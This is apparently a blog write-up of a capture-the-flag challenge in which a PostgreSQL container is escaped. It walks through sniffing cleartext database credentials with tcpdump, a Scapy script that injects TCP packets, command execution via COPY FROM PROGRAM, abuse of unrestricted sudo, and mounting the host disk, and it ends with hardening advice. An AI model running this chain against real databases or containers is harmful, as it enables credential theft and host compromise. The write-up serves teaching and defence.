Skip to main content

thinking cow

Security research, software engineering, modern cloud & product security, and privacy tools

Wiz CTF July 2025: Contain Me If You Can - A PostgreSQL Container Escape

Challenge Overview

This challenge simulates an underprivileged foothold inside a containerized environment where the objective is host-level access. The vulnerability chain runs through plaintext PostgreSQL traffic, credential sniffing to COPY TO PROGRAM execution to host filesystem mount via an overprivileged container. It’s a concrete example of why container isolation is only as strong as the network, database config, and sudo policy around it.

Vulnerabilities Exploited

Container Escape via Database Exploitation combining:

  • Unencrypted PostgreSQL network traffic
  • PostgreSQL COPY TO/FROM PROGRAM command execution
  • Excessive sudo privileges on database user
  • Container access to host block devices

Attack Steps

1. Initial Reconnaissance

I started by exploring the container environment to identify potential attack vectors:

ps aux
netstat -tunap

This revealed an active PostgreSQL connection on port 5432 between containers, which became my primary target.

2. Network Traffic Capture and Analysis

I captured the database traffic to extract credentials:

# Start packet capture in background
tcpdump -i eth0 -s 0 -w /tmp/pgdump.pcap port 5432 &

The key question here is what caused new PostgreSQL authentication traffic to appear during the capture window. If the connection had already been established before capture started, the auth handshake (which carries the cleartext password in older PostgreSQL auth modes) would have already passed. In this case, I waited for the client application to reconnect — the container ran a service that periodically re-established its database connection, so after a short wait a fresh startup message with credentials appeared in the capture. This is the step that actually makes the credential extraction possible.

Next, I used Scapy to analyze the traffic and attempt a direct exploitation:

from scapy.all import *
import struct

# Capture PostgreSQL server response
pkts = sniff(count=1, filter="tcp and src host 172.19.0.2 and src port 5432", timeout=10)

if pkts:
    server_pkt = pkts[0]
    my_seq = server_pkt[TCP].ack
    payload_len = len(server_pkt[Raw].load) if server_pkt.haslayer(Raw) else 0
    my_ack = server_pkt[TCP].seq + payload_len
    my_sport = server_pkt[TCP].dport

    # Craft PostgreSQL COPY TO PROGRAM packet
    exploit_cmd = 'sudo cat /flag'
    pg_query = f"COPY (SELECT '') TO PROGRAM '{exploit_cmd}'"
    query_payload = pg_query.encode('utf-8')
    query_length = len(query_payload) + 4 + 1
    pg_packet_data = b'Q' + struct.pack('>I', query_length) + query_payload + b'\x00'

    ip = IP(src="172.19.0.3", dst="172.19.0.2")
    tcp = TCP(sport=my_sport, dport=5432, flags="PA", seq=my_seq, ack=my_ack)
    exploit_packet = ip/tcp/pg_packet_data

    send(exploit_packet, verbose=0)
    print("[+] Direct flag read attempt sent!")

The injection didn’t work, and there are a few reasons why. The sniff(count=1) call captures the first packet matching the filter regardless of whether it carries a payload — if it was a bare ACK or a control packet, payload_len would be 0 and my_ack would be miscalculated, producing a packet the server would reject as out-of-sequence. More fundamentally, injecting a raw COPY TO PROGRAM query mid-session requires the connection to be in a state ready to accept queries, and sequence/acknowledgment numbers must be exactly right. This was a documented dead end, but understanding why it failed informed the approach of simply capturing credentials instead.

While the initial packet injection didn’t work directly, I extracted the database credentials from the capture:

strings /tmp/pgdump.pcap
# Found: user, mydatabase, SecretPostgreSQLPassword

3. Direct PostgreSQL Connection

With the extracted credentials, I connected to the database:

psql -h 172.19.0.2 -U user -d mydatabase
# Password: SecretPostgreSQLPassword

4. PostgreSQL Command Execution and Privilege Discovery

I created a temporary table to capture command output:

CREATE TEMP TABLE out(line text);

-- Check current privileges
COPY out FROM PROGRAM 'id 2>&1';
SELECT * FROM out; TRUNCATE out;
-- Result: uid=999(postgres) gid=999(postgres)

-- Check sudo capabilities
COPY out FROM PROGRAM 'sudo -l 2>&1';
SELECT * FROM out; TRUNCATE out;
-- Result: (ALL) NOPASSWD: ALL

This revealed the postgres user had unrestricted sudo access - a critical misconfiguration.

5. Container Escape - Device Discovery

I enumerated available storage devices to identify escape paths:

-- List block devices
COPY out FROM PROGRAM 'sudo fdisk -l 2>&1';
SELECT * FROM out; TRUNCATE out;
-- Found: /dev/vda, /dev/vdb (fdisk shows partition table entries, not filesystem types)
-- Note: the filesystem type was inferred separately — blkid or file would identify squashfs

-- Check current mounts
COPY out FROM PROGRAM 'sudo cat /proc/mounts 2>&1';
SELECT * FROM out; TRUNCATE out;

-- Create mount point
COPY out FROM PROGRAM 'sudo mkdir -p /mnt/host 2>&1';
SELECT * FROM out; TRUNCATE out;

6. Container Escape - Host Filesystem Access

With access to host block devices, I mounted the host filesystem:

-- Mount the host root filesystem
COPY out FROM PROGRAM 'sudo mount /dev/vda /mnt/host 2>&1';
SELECT * FROM out; TRUNCATE out;

-- Verify mount
COPY out FROM PROGRAM 'sudo ls -la /mnt/host/ 2>&1';
SELECT * FROM out; TRUNCATE out;

-- Read the flag from host
COPY out FROM PROGRAM 'sudo cat /mnt/host/flag 2>&1';
SELECT * FROM out; TRUNCATE out;

Flag: CTF{how_turned_guests_to_hosts}

Key Takeaways

This challenge demonstrated a sophisticated container escape chain:

  1. Network Traffic Analysis: Captured and extracted PostgreSQL credentials from unencrypted network traffic
  2. Database Command Execution: Leveraged PostgreSQL’s COPY TO/FROM PROGRAM to execute arbitrary commands
  3. Privilege Escalation: Exploited misconfigured sudo permissions on the postgres user
  4. Container Escape: Mounted host block devices to access the underlying filesystem

The attack succeeded because:

  • Database traffic was unencrypted and contained credentials
  • The postgres user had unrestricted sudo access
  • The container had access to host block devices (/dev/vda)
  • The container ran with sufficient privileges to mount filesystems

Alternative Methods I Attempted

  • Core Pattern Escape: Tried /proc/sys/kernel/core_pattern for code execution
  • Namespace Escape: Attempted nsenter to join host namespaces
  • Process Tree Analysis: Explored /proc/1/root for host filesystem access

This highlights critical security principles:

  • Network Encryption: Always encrypt database connections, even between containers
  • Least Privilege: Service accounts should never have unrestricted sudo access
  • Container Hardening: Isolate containers from host devices using proper security contexts
  • Device Restrictions: Use --device flags carefully and avoid exposing host block devices
  • Security Monitoring: Log privileged operations and unusual network patterns